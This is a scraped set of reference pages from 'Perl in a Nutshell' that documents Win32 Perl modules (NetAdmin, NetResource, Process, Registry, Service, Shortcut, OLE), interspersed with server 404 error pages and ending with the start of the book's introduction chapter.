Previous: 19.9 Win32::Mutex | Perl in a Nutshell | Next: Reference: wait
19.9 Win32::Mutex | Book Index | Reference: wait


Reference: wait

Perl in a Nutshell

Perl in a NutshellSearch this book

wait

$mut->wait([timeout])

The Win32::IPC method inherited by this module. Makes the calling process wait for ownership of the mutex object for the number of milliseconds specified by timeout. If the mutex doesn't become available before the timeout, the call returns 0.

Previous: Reference: release | Perl in a Nutshell | Next: 19.9 Win32::Mutex
Reference: release | Book Index | 19.9 Win32::Mutex


Reference: GetDomainController

Perl in a Nutshell

Perl in a NutshellSearch this book

GetDomainController

GetDomainController (server, domain, $name)

Returns the name of the domain controller for the specified server and domain to the variable $name.

Previous: 19.10 Win32::NetAdmin | Perl in a Nutshell | Next: Reference: UserCreate
19.10 Win32::NetAdmin | Book Index | Reference: UserCreate


Reference: UserCreate

Perl in a Nutshell

Perl in a NutshellSearch this book

UserCreate

UserCreate (server, username, password, passwordage, privilege, homedir, comment, flags, scriptpath)

Creates a new user with the specified settings:

server

Name of the server

username

Name of new user

password

The user's password

passwordage

Amount of time before password expires

privilege

Privilege settings of the new user, which can be one of the following:

USER_PRIV_MASK
USER_PRIV_GUEST
USER_PRIV_USER
USER_PRIV_ADMIN

homedir

Pathname of the user's home directory

comment

A string containing a comment about the user

flag

A flag containing user creation settings, which can be one of the following:

UF_TEMP_DUPLICATE_ACCOUNT
UF_NORMAL_ACCOUNT
UF_INTERDOMAIN_TRUST_ACCOUNT
UF_WORKSTATION_TRUST_ACCOUNT
UF_SERVER_TRUST_ACCOUNT
UF_MACHINE_ACCOUNT_MASK
UF_ACCOUNT_TYPE_MASK
UF_DONT_EXPIRE_PASSWD
UF_SETTABLE_BITS
UF_SCRIPT
UF_ACCOUNTDISABLE
UF_HOMEDIR_REQUIRED
UF_LOCKOUT
UF_PASSWD_NOTREQD
UF_PASSWD_CANT_CHANGE

scriptpath

Pathname for the user's login script

Previous: Reference: GetDomainController | Perl in a Nutshell | Next: Reference: UserDelete
Reference: GetDomainController | Book Index | Reference: UserDelete


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_100.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_101.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_102.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_103.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_104.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_105.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_106.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_107.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_108.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_109.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_110.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_111.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_112.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_113.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_114.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_115.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_116.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_117.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_118.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: GetSharedResources

Perl in a Nutshell

Perl in a NutshellSearch this book

GetSharedResources

GetSharedResources (\@resources, type)

Gets a list of all network resources and saves the list as references to %netresource hashes in @resources. type is the type of enumeration.

Previous: 19.11 Win32::NetResource | Perl in a Nutshell | Next: Reference: AddConnection
19.11 Win32::NetResource | Book Index | Reference: AddConnection


Reference: AddConnection

Perl in a Nutshell

Perl in a NutshellSearch this book

AddConnection

AddConnection (\%netresource, password, username, connection)

Connects to the resource described in %netresource, with the password and username of the user. The connection flag indicates whether the connection should be remembered for the user for all logins.

Previous: Reference: GetSharedResources | Perl in a Nutshell | Next: Reference: CancelConnection
Reference: GetSharedResources | Book Index | Reference: CancelConnection


Reference: CancelConnection

Perl in a Nutshell

Perl in a NutshellSearch this book

CancelConnection

CancelConnection (name, connection, force)

Cancels a connection to a resource connected to the local device specified by name. connection indicates the type of connection, with 1 being a persistent connection and 0 being non-persistent. The force value is a Boolean indicating whether or not to force the connection.

Previous: Reference: AddConnection | Perl in a Nutshell | Next: Reference: WNetGetLastError
Reference: AddConnection | Book Index | Reference: WNetGetLastError


Reference: WNetGetLastError

Perl in a Nutshell

Perl in a NutshellSearch this book

WNetGetLastError

WNetGetLastError ($code, $description, $name)

Gets the extended network error and saves its information to the variables named by code, description, and name. An extended network error is given only when Win32::GetLastError returns ERROR_EXTENDED_ERROR.

Previous: Reference: CancelConnection | Perl in a Nutshell | Next: Reference: GetError
Reference: CancelConnection | Book Index | Reference: GetError


Reference: GetError

Perl in a Nutshell

Perl in a NutshellSearch this book

GetError

GetError ($code)

Gets the last error caused by a Win32 network call and saves it in the variable named by code.

Previous: Reference: WNetGetLastError | Perl in a Nutshell | Next: Reference: GetUNCName
Reference: WNetGetLastError | Book Index | Reference: GetUNCName


Reference: GetUNCName

Perl in a Nutshell

Perl in a NutshellSearch this book

GetUNCName

GetUNCName ($uncname, path)

Gets the UNC name of the share connected to the local path and saves it to the variable specified by uncname.

Previous: Reference: GetError | Perl in a Nutshell | Next: Reference: NetShareAdd
Reference: GetError | Book Index | Reference: NetShareAdd


Reference: NetShareAdd

Perl in a Nutshell

Perl in a NutshellSearch this book

NetShareAdd

NetShareAdd (\%shareinfo, $error, [server])

Makes a disk resource described by shareinfo available for sharing on the network. server is the name of the server for the shared resource (local is assumed if not specified). Any error that occurs is saved in the variable named by error.

Previous: Reference: GetUNCName | Perl in a Nutshell | Next: Reference: NetShareCheck
Reference: GetUNCName | Book Index | Reference: NetShareCheck


Reference: NetShareCheck

Perl in a Nutshell

Perl in a NutshellSearch this book

NetShareCheck

NetShareCheck (device, $type, [server])

Returns true if a share on device is available for connection. The type of share is saved in the variable named by type (if the function returns true).

Previous: Reference: NetShareAdd | Perl in a Nutshell | Next: Reference: NetShareDel
Reference: NetShareAdd | Book Index | Reference: NetShareDel


Reference: NetShareDel

Perl in a Nutshell

Perl in a NutshellSearch this book

NetShareDel

NetShareDel (name, [server])

Removes the share named name on optional server from a machine's list of shares.

Previous: Reference: NetShareCheck | Perl in a Nutshell | Next: Reference: NetShareGetInfo
Reference: NetShareCheck | Book Index | Reference: NetShareGetInfo


Reference: NetShareGetInfo

Perl in a Nutshell

Perl in a NutshellSearch this book

NetShareGetInfo

NetShareGetInfo (name, \%shareinfo, [server])

Gets the share information for the share name on optional server and saves it in the specified shareinfo variable.

Previous: Reference: NetShareDel | Perl in a Nutshell | Next: Reference: NetShareSetInfo
Reference: NetShareDel | Book Index | Reference: NetShareSetInfo


Reference: NetShareSetInfo

Perl in a Nutshell

Perl in a NutshellSearch this book

NetShareSetInfo

NetShareSetInfo (name, \%shareinfo, $error, [server])

Sets the information for the share name on server to the parameters given by shareinfo. The error status is saved to the variable named by error.

Previous: Reference: NetShareGetInfo | Perl in a Nutshell | Next: 19.11 Win32::NetResource
Reference: NetShareGetInfo | Book Index | 19.11 Win32::NetResource


Reference: Kill

Perl in a Nutshell

Perl in a NutshellSearch this book

Kill

$proc->Kill(exitcode)

Kills the process with the given exitcode, which is returned by the process.

Previous: 19.12 Win32::Process | Perl in a Nutshell | Next: Reference: Suspend
19.12 Win32::Process | Book Index | Reference: Suspend


Reference: Suspend

Perl in a Nutshell

Perl in a NutshellSearch this book

Suspend

$proc->Suspend

Suspends the process.

Previous: Reference: Kill | Perl in a Nutshell | Next: Reference: Resume
Reference: Kill | Book Index | Reference: Resume


Reference: Resume

Perl in a Nutshell

Perl in a NutshellSearch this book

Resume

$proc->Resume

Resumes a suspended process. This method can also be used on processes created with the CREATE_SUSPENDED flag.

Previous: Reference: Suspend | Perl in a Nutshell | Next: Reference: GetPriorityClass
Reference: Suspend | Book Index | Reference: GetPriorityClass


Reference: GetPriorityClass

Perl in a Nutshell

Perl in a NutshellSearch this book

GetPriorityClass

$proc->GetPriorityClass($ref)

Gets the priority class of the process and stores it in $ref.

Previous: Reference: Resume | Perl in a Nutshell | Next: Reference: SetPriorityClass
Reference: Resume | Book Index | Reference: SetPriorityClass


Reference: SetPriorityClass

Perl in a Nutshell

Perl in a NutshellSearch this book

SetPriorityClass

$proc->SetPriorityClass($priority)

Sets the priority class of the object to $priority. The priority can be one of the following:

IDLE_PRIORITY_CLASS

A process whose threads run only when the system is idle.

NORMAL_PRIORITY_CLASS

A process with normal scheduling.

HIGH_PRIORITY_CLASS

A process that performs time-critical tasks that must be executed immediately.

REALTIME_PRIORITY_CLASS

The highest priority process, even preempts OS threads.

Previous: Reference: GetPriorityClass | Perl in a Nutshell | Next: Reference: GetExitCode
Reference: GetPriorityClass | Book Index | Reference: GetExitCode


Reference: GetExitCode

Perl in a Nutshell

Perl in a NutshellSearch this book

GetExitCode

$proc->GetExitCode($ref)

Gets the exit code of a process and saves it to $ref.

Previous: Reference: SetPriorityClass | Perl in a Nutshell | Next: Reference: Wait
Reference: SetPriorityClass | Book Index | Reference: Wait


Reference: Wait

Perl in a Nutshell

Perl in a NutshellSearch this book

Wait

$proc->Wait(n)

Waits n milliseconds for the process to exit. If the process times out, the method returns false and sets $! to WAIT_FAILED. For no timeout, set n to INFINITE.

Previous: Reference: GetExitCode | Perl in a Nutshell | Next: 19.12 Win32::Process
Reference: GetExitCode | Book Index | 19.12 Win32::Process


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_137.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: Create

Perl in a Nutshell

Perl in a NutshellSearch this book

Create

$key->Create($newkey, name)

Creates a new key identified by name and saves it as the object reference named by $newkey. If the key already exists, this function simply opens the key. New keys can only be created one level below the key on which Create is used.

Previous: Reference: Open | Perl in a Nutshell | Next: Reference: SetValue
Reference: Open | Book Index | Reference: SetValue


Reference: SetValue

Perl in a Nutshell

Perl in a NutshellSearch this book

SetValue

$key->SetValue(subkey, type, value)

Sets the default (unnamed) value for the specified subkey of the key object on which SetValue is used.

subkey

Name of the subkey

type

One of the type constants (listed above) describing the value

value

The value of the key

Previous: Reference: Create | Perl in a Nutshell | Next: Reference: SetValueEx
Reference: Create | Book Index | Reference: SetValueEx


Reference: SetValueEx

Perl in a Nutshell

Perl in a NutshellSearch this book

SetValueEx

$key->SetValueEx(name, res, type, value)

Sets a value specified by name in the current key (or creates the value if it doesn't already exist).

res

A reserved argument for future use (use a 0 as a placeholder).

type

The data type constant (listed above) describing the value.

value

The value of the key.

Previous: Reference: SetValue | Perl in a Nutshell | Next: Reference: QueryValue
Reference: SetValue | Book Index | Reference: QueryValue


Reference: QueryValue

Perl in a Nutshell

Perl in a NutshellSearch this book

QueryValue

$key->QueryValue(name, $var)

Returns the value of the registry value specified by name and saves it in the scalar variable $var.

Previous: Reference: SetValueEx | Perl in a Nutshell | Next: Reference: QueryKey
Reference: SetValueEx | Book Index | Reference: QueryKey


Reference: QueryKey

Perl in a Nutshell

Perl in a NutshellSearch this book

QueryKey

$key->QueryKey($class, $subs, $vals)

Retrieves information about the current key and returns it to the named scalar variables. The key class is saved in the class variable (it will be the null string "" on Win95 since it doesn't use key classes). The number of subkeys is saved in the $sub variable, and the number of values in the current key is saved in $vals.

Previous: Reference: QueryValue | Perl in a Nutshell | Next: Reference: GetKeys
Reference: QueryValue | Book Index | Reference: GetKeys


Reference: GetKeys

Perl in a Nutshell

Perl in a NutshellSearch this book

GetKeys

$key->GetKeys($listref)

Returns the names of the subkeys of the current key to the list referenced by listref.

Previous: Reference: QueryKey | Perl in a Nutshell | Next: Reference: GetValues
Reference: QueryKey | Book Index | Reference: GetValues


Reference: GetValues

Perl in a Nutshell

Perl in a NutshellSearch this book

GetValues

$key->GetValues($hashref)

Returns the values contained in the current key to the hash referenced by hashref. Each registry value name is a hash key, while the hash value is a reference to a three-element list containing the name of the value, the data type, and the value.

Previous: Reference: GetKeys | Perl in a Nutshell | Next: Reference: Save
Reference: GetKeys | Book Index | Reference: Save


Reference: Save

Perl in a Nutshell

Perl in a NutshellSearch this book

Save

$key->Save(filename)

Saves the registry tree root and the current key to a file, filename.

Previous: Reference: GetValues | Perl in a Nutshell | Next: Reference: Load
Reference: GetValues | Book Index | Reference: Load


Reference: Load

Perl in a Nutshell

Perl in a NutshellSearch this book

Load

$key->Load(subkey, filename)

Loads a registry file to the named subkey from file filename.

Previous: Reference: Save | Perl in a Nutshell | Next: Reference: DeleteKey
Reference: Save | Book Index | Reference: DeleteKey


Reference: DeleteKey

Perl in a Nutshell

Perl in a NutshellSearch this book

DeleteKey

$key->DeleteKey(subkey)

Deletes a subkey of the current key. This function will delete all values in the subkey and the subkey itself. A key cannot be deleted if it contains any subkeys.

Previous: Reference: Load | Perl in a Nutshell | Next: Reference: DeleteValue
Reference: Load | Book Index | Reference: DeleteValue


Reference: DeleteValue

Perl in a Nutshell

Perl in a NutshellSearch this book

DeleteValue

$key->DeleteValue(name)

Deletes a value identified by name from the current key.

Previous: Reference: DeleteKey | Perl in a Nutshell | Next: 19.13 Win32::Registry
Reference: DeleteKey | Book Index | 19.13 Win32::Registry


Reference: wait

Perl in a Nutshell

Perl in a NutshellSearch this book

wait

$sem->wait([timeout])

The inherited Win32::IPC call. Waits for the semaphore's count to be nonzero, then decrements it. Optional timeout is given in milliseconds.

Previous: 19.14 Win32::Semaphore | Perl in a Nutshell | Next: Reference: release
19.14 Win32::Semaphore | Book Index | Reference: release


Reference: release

Perl in a Nutshell

Perl in a NutshellSearch this book

release

$sem->release(inc, [$var])

Releases a semaphore and increments the count by the amount specified in inc. The last count (before the increment) is returned in the $var variable, if provided.

Previous: Reference: wait | Perl in a Nutshell | Next: 19.14 Win32::Semaphore
Reference: wait | Book Index | 19.14 Win32::Semaphore


Reference: StartService

Perl in a Nutshell

Perl in a NutshellSearch this book

StartService

StartService (host, service)

Starts the named service on the machine host. The specified service must be registered with the Service Control Manager.

Previous: 19.15 Win32::Service | Perl in a Nutshell | Next: Reference: StopService
19.15 Win32::Service | Book Index | Reference: StopService


Reference: StopService

Perl in a Nutshell

Perl in a NutshellSearch this book

StopService

StopService (host, service)

Stops the named service on machine host.

Previous: Reference: StartService | Perl in a Nutshell | Next: Reference: GetStatus
Reference: StartService | Book Index | Reference: GetStatus


Reference: GetStatus

Perl in a Nutshell

Perl in a NutshellSearch this book

GetStatus

GetStatus (host, service, \%status)

Returns the status of service as a hash referenced by status. The keys for this hash are:

ServiceType
CurrentState
ControlsAccepted
Win32ExitCode
ServiceSpecificExitCode
CheckPoint
WaitHint

Previous: Reference: StopService | Perl in a Nutshell | Next: Reference: PauseService
Reference: StopService | Book Index | Reference: PauseService


Reference: PauseService

Perl in a Nutshell

Perl in a NutshellSearch this book

PauseService

PauseService (host, service)

Pauses the named service on machine host (only if the service is able to pause).

Previous: Reference: GetStatus | Perl in a Nutshell | Next: Reference: ResumeService
Reference: GetStatus | Book Index | Reference: ResumeService


Reference: ResumeService

Perl in a Nutshell

Perl in a NutshellSearch this book

ResumeService

ResumeService (host, service)

Resumes a paused service on host.

Previous: Reference: PauseService | Perl in a Nutshell | Next: Reference: GetServices
Reference: PauseService | Book Index | Reference: GetServices


Reference: GetServices

Perl in a Nutshell

Perl in a NutshellSearch this book

GetServices

GetServices (host, \%hash)

Returns a list of services on host to the hash referenced by hash.

Previous: Reference: ResumeService | Perl in a Nutshell | Next: 19.15 Win32::Service
Reference: ResumeService | Book Index | 19.15 Win32::Service


Reference: Close

Perl in a Nutshell

Perl in a NutshellSearch this book

Close

$link->Close()

Closes a shortcut object. It is not strictly required to close the objects you created, since the Win32::Shortcut objects are automatically closed when the program ends (or when you otherwise destroy such an object).

Also note that a shortcut is not automatically saved when it is closed, even if you modified it. You have to call Save in order to apply modifications to a shortcut file.

Previous: 19.16 Win32::Shortcut | Perl in a Nutshell | Next: Reference: Load
19.16 Win32::Shortcut | Book Index | Reference: Load


Reference: Load

Perl in a Nutshell

Perl in a NutshellSearch this book

Load

$link->Load(file)

Loads the content of the shortcut file named file in a shortcut object and fills the properties of the object with its values. Returns undef on error, or a true value if everything was successful.

Previous: Reference: Close | Perl in a Nutshell | Next: Reference: new
Reference: Close | Book Index | Reference: new


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/perlnut/c19_159.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: Resolve

Perl in a Nutshell

Perl in a NutshellSearch this book

Resolve

$link->Resolve([flag])

Attempts to automatically resolve a shortcut and returns the resolved path, or undef on error; if there is no resolution, the path is returned unchanged. Note that the path is automatically updated in the Path property of the shortcut.

By default, this method acts quietly, but if you pass a value of 0 (zero) in the flag parameter, it will eventually post a dialog box prompting the user for more information. For example:

# if the target doesn't exist...
if(! -f $link->Path) {

# save the actual target for comparison
$oldpath = $link->Path;

# try to resolve it (with dialog box)
$newpath = $link->Resolve(0);

die "Not resolved..." if $newpath == $oldpath;
}

Previous: Reference: new | Perl in a Nutshell | Next: Reference: Save
Reference: new | Book Index | Reference: Save


Reference: Save

Perl in a Nutshell

Perl in a NutshellSearch this book

Save

$link->Save([file])

Saves the content of the shortcut object into the file named file. If file is omitted, the filename is taken from the File property of the object (which, if not changed, is the name of the last Loaded file).

If no file was loaded and the File property doesn't contain a valid filename, the method returns undef, which is also returned on error. A true value is returned if everything was successful.

Previous: Reference: Resolve | Perl in a Nutshell | Next: Reference: Set
Reference: Resolve | Book Index | Reference: Set


Reference: Set

Perl in a Nutshell

Perl in a NutshellSearch this book

Set

$link->Set(path, arguments, workingdirectory, description, showcmd, hotkey, iconlocation, iconnumber)

Sets all the properties of the shortcut object with a single command. This method is supplied for convenience only; you can also set these values by changing the values of the properties. For example:

$link->Set("C:\PERL5\BIN\PERL.EXE",
           "-v",
           "C:\PERL5\BIN",
           "Prints out the version of Perl",
           SW_SHOWMAXIMIZED,
           hex('0x0337'),
           "C:\WINDOWS\SYSTEM\COOL.DLL",
           1);
This is the same as:
$link->Path("C:\PERL5\BIN\PERL.EXE");
$link->Arguments("-v");
$link->WorkingDirectory("C:\PERL5\BIN");
$link->Description("Prints out the version of Perl");
$link->ShowCmd(SW_SHOWMAXIMIZED);
$link->Hotkey(hex('0x0337'));
$link->IconLocation("C:\WINDOWS\SYSTEM\COOL.DLL");
$link->IconNumber(1);</PRE>

Previous: Reference: Save | Perl in a Nutshell | Next: 19.16 Win32::Shortcut
Reference: Save | Book Index | 19.16 Win32::Shortcut


Reference: new

Perl in a Nutshell

Perl in a NutshellSearch this book

new

Win32::OLE->new(progid, [destructor])

Creates a new automation object. This method always creates a new instance of the server, even if a previous instance of the server is running. If the object cannot be created, new returns undef.

progid, the program identifier (ProgID), is a string that uniquely identifies an automation object. progid is used to look up the object's class ID (CLSID), which is stored in the registry.

The second, optional argument to the new method describes a way to destroy the object in case the Perl program dies unexpectedly. destructor can be either a string with the name of the defined OLE destructor method, or a code reference that will destroy the object. You should use some form of destructor to close out all your objects, for they can be extremely expensive in terms of system resources. You can explicitly destroy an object using the undef function. If you don't explicitly destroy the object, Perl takes care of it for you when the last reference to the object goes away.

Here is what new would look like with the destructor arguments:

# Quit is the OLE-defined destructor method
$x1 = Win32::OLE->new("Excel.Application", 'Quit');

# The object reference is the first argument ($_[0]) passed to new.
# The code reference will undef it to destroy the object.
$x2 = Win32::OLE->new("Excel.Application", sub{undef $_[0];})
Notice that we're supplying Excel.Application as the ProgID. Excel supports several different automation objects, including an Application object, WorkBook objects, and several more. You don't necessarily have to create the top-level object (Application, in this case) when dealing with automation objects (this is determined by the automation server). In Excel's case, we could have directly created a WorkSheet object (e.g., Excel.Sheet) or a Chart object, for example.

Previous: 19.18 OLE Automation | Perl in a Nutshell | Next: Reference: GetActiveObject
19.18 OLE Automation | Book Index | Reference: GetActiveObject


Reference: GetActiveObject

Perl in a Nutshell

Perl in a NutshellSearch this book

GetActiveObject

Win32::OLE->GetActiveObject(progid)

Creates an object for a currently active instance of a server, if one exists. If the server is registered, but no instance of it is running, the method returns undef. If the server is not registered, the method will croak.

You should probably call GetActiveObject inside an eval so that you can do exception handling in the event that the server is unregistered or is not currently running. If the method returns undef, you can just create a new instance of the server and the object with new.

Previous: Reference: new | Perl in a Nutshell | Next: Reference: GetObject
Reference: new | Book Index | Reference: GetObject


Reference: GetObject

Perl in a Nutshell

Perl in a NutshellSearch this book

GetObject

Win32::OLE->GetObject(filename)

Creates an automation object based on a document. filename is the full pathname of the document, which can be optionally followed by additional item subcomponents separated by exclamation marks (!). For example:

$doc = 'c:\test\test.xls';
$x1 = Win32::OLE->GetObject($doc);
This code creates an Excel instance based on an Excel file. It is not always clear what type of object GetObject will return from a document since applications may register for than one document type (e.g., worksheets, charts, macro files, etc. for Excel). You can use QueryObjectType on an object to get the class name of the object.

Previous: Reference: GetActiveObject | Perl in a Nutshell | Next: 19. Win32 Modules and Extensions
Reference: GetActiveObject | Book Index | 19. Win32 Modules and Extensions


Reference: Invoke

Perl in a Nutshell

Perl in a NutshellSearch this book

Invoke

$obj->Invoke(method, args)

This object method calls the given method for $obj with args as arguments. It is useful for invoking methods that would interfere with predefined names in Perl, or methods that contain characters that Perl can't recognize. You can also use Invoke to call an object's default method by using either undef or an empty string (") as the first argument.

Previous: 19.18 OLE Automation | Perl in a Nutshell | Next: Reference: LastError
19.18 OLE Automation | Book Index | Reference: LastError


Reference: LastError

Perl in a Nutshell

Perl in a NutshellSearch this book

LastError

Win32::OLE->LastError()

This class method returns the last OLE error. In a numeric context, the error number is returned, while in a string context, the error message is returned.

Previous: Reference: Invoke | Perl in a Nutshell | Next: Reference: QueryObjectType
Reference: Invoke | Book Index | Reference: QueryObjectType


Reference: QueryObjectType

Perl in a Nutshell

Perl in a NutshellSearch this book

QueryObjectType

Win32::OLE->QueryObjectType($obj)

This class method returns the type of object queried ($obj). In list context, a two-element list of the type library name and the class name of the object is returned. In scalar context, just the class name is returned.

Previous: Reference: LastError | Perl in a Nutshell | Next: 19. Win32 Modules and Extensions
Reference: LastError | Book Index | 19. Win32 Modules and Extensions


Reference: in

Perl in a Nutshell

Perl in a NutshellSearch this book

in

in($coll)

Returns a list of all the members of a collection referenced by the collection object $coll. Same as Win32::OLE::Enum->All().

Previous: 19.18 OLE Automation | Perl in a Nutshell | Next: Reference: valof
19.18 OLE Automation | Book Index | Reference: valof


Reference: valof

Perl in a Nutshell

Perl in a NutshellSearch this book

valof

valof($obj)

Dereferences an automation object ($obj), calls the default method of the object, and returns the value.

Previous: Reference: in | Perl in a Nutshell | Next: Reference: with
Reference: in | Book Index | Reference: with


Reference: with

Perl in a Nutshell

Perl in a NutshellSearch this book

with

with($obj, property1 => value1, ...)

Sets the values of multiple properties on an object ($obj). The function calls $obj->{property}=value for each property/value pair.

Previous: Reference: valof | Perl in a Nutshell | Next: 19. Win32 Modules and Extensions
Reference: valof | Book Index | 19. Win32 Modules and Extensions


Reference: new

Perl in a Nutshell

Perl in a NutshellSearch this book

new

Win32::OLE::Enum->new($obj)

Creates a new Win32::OLE::Enum object. Provides it with either a collection object or and existing Enum object, in which case it calls Clone.

Previous: 19.18 OLE Automation | Perl in a Nutshell | Next: Reference: All
19.18 OLE Automation | Book Index | Reference: All


Reference: All

Perl in a Nutshell

Perl in a NutshellSearch this book

All

$Enum->All()

Returns a list of all objects in the collection. Note that in order to use All again, you need to first call Reset.

Previous: Reference: new | Perl in a Nutshell | Next: Reference: Clone
Reference: new | Book Index | Reference: Clone


Reference: Clone

Perl in a Nutshell

Perl in a NutshellSearch this book

Clone

$Enum->Clone()

Returns a copy of the current iterator. This method is supposed to maintain the same iteration position, if possible, but may be unimplemented.

Previous: Reference: All | Perl in a Nutshell | Next: Reference: Next
Reference: All | Book Index | Reference: Next


Reference: Next

Perl in a Nutshell

Perl in a NutshellSearch this book

Next

$Enum->Next([count])

Returns the next item in the collection. You can optionally provide Next with a count (which must be greater than zero), in which case it returns a list of the next count items. Note that if you provide a scalar context in conjunction with a count, you'll only get the last item in the list of returned items. Next returns undef if it is currently on the last item in the collection.

Previous: Reference: Clone | Perl in a Nutshell | Next: Reference: Reset
Reference: Clone | Book Index | Reference: Reset


Reference: Reset

Perl in a Nutshell

Perl in a NutshellSearch this book

Reset

$Enum->Reset()

Restarts the enumeration with the first item in the collection. Reset returns true if it succeeds, false if it fails. Note that this method may be unimplemented.

Previous: Reference: Next | Perl in a Nutshell | Next: Reference: Skip
Reference: Next | Book Index | Reference: Skip


Reference: Skip

Perl in a Nutshell

Perl in a NutshellSearch this book

Skip

$Enum->Skip([count])

Skips the next count number of items of the enumeration (again, count must be positive and defaults to 1). Skip returns false if there are not at least count number of items left.

Previous: Reference: Reset | Perl in a Nutshell | Next: 19. Win32 Modules and Extensions
Reference: Reset | Book Index | 19. Win32 Modules and Extensions


Reference: As

Perl in a Nutshell

Perl in a NutshellSearch this book

As

$vnt->As(type)

Takes a type flag argument and converts the Variant object to the supplied type before converting it to a Perl value.

Previous: 19.18 OLE Automation | Perl in a Nutshell | Next: Reference: ChangeType
19.18 OLE Automation | Book Index | Reference: ChangeType


Reference: ChangeType

Perl in a Nutshell

Perl in a NutshellSearch this book

ChangeType

$vnt->ChangeType(type)

Takes a type flag argument and converts the Variant object (in place) to the supplied type.

Previous: Reference: As | Perl in a Nutshell | Next: Reference: Type
Reference: As | Book Index | Reference: Type


Reference: Type

Perl in a Nutshell

Perl in a NutshellSearch this book

Type

$vnt->Type()

Returns the type of the variant $vnt.

Previous: Reference: ChangeType | Perl in a Nutshell | Next: Reference: Value
Reference: ChangeType | Book Index | Reference: Value


Reference: Value

Perl in a Nutshell

Perl in a NutshellSearch this book

Value

$vnt->Value()

Returns the value of the variant $vnt as a Perl value. The conversion is performed in the same manner as all return values of Win32::OLE method calls are converted.

Previous: Reference: Type | Perl in a Nutshell | Next: 19. Win32 Modules and Extensions
Reference: Type | Book Index | 19. Win32 Modules and Extensions


[Chapter 1] Introduction to Perl

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: I. Getting Started Chapter 1 Next: 1.2 Perl Development

1. Introduction to Perl

Contents:
What's Perl Good For?
Perl Development
Which Platforms Support Perl?
Perl Resources

Computer languages differ not so much in what they make possible, but in what they make easy. Perl is designed to make the easy jobs easy, without making the hard jobs impossible. Perl makes it easy to manipulate numbers, text, files, directories, computers, networks, and programs. It also makes it easy to develop, modify, and debug your own programs portably, on any modern operating system.

Perl is especially popular with systems programmers and web developers, but it also appeals to a much broader audience. Originally designed for text processing, it has grown into a sophisticated, general-purpose programming language with a rich software development environment complete with debuggers, profilers, cross-referencers, compilers, interpreters, libraries, syntax-directed editors, and all the rest of the trappings of a "real" programming language.

There are many reasons for Perl's success. For starters, Perl is freely available and freely redistributable. But that's not enough to explain the Perl phenomenon, since many other freeware packages fail to thrive. Perl is not just free; it's also fun. People feel like they can be creative in Perl, because they have freedom of expression.

Perl is both a very simple language and a very rich language. It's a simple language in that the types and structures are simple to use and understand, and it borrows heavily from other languages you may already be familiar with. You don't have to know everything there is to know about Perl before you can write useful programs.

However, Perl is also a rich language, and there is much to learn about it. That's the price of making hard things possible. Although it will take some time for you to absorb all that Perl can do, somewhere down the line you will be glad that you have access to the extensive capabilities of Perl.

1.1 What's Perl Good For?

Perl has the advantage of being easy to learn if you just want to write simple scripts - thus its appeal to the ever-impatient system administrator and the deadline-driven CGI developer. However, as you become more ambitious, Perl lets you act on those ambitions. Chapter 2, Installing Perl, covers how to get and install Perl, and Chapter 3, The Perl Interpreter, through Chapter 6, Debugging, cover the basics of the Perl language, its functions, and how to use the Perl debugger.

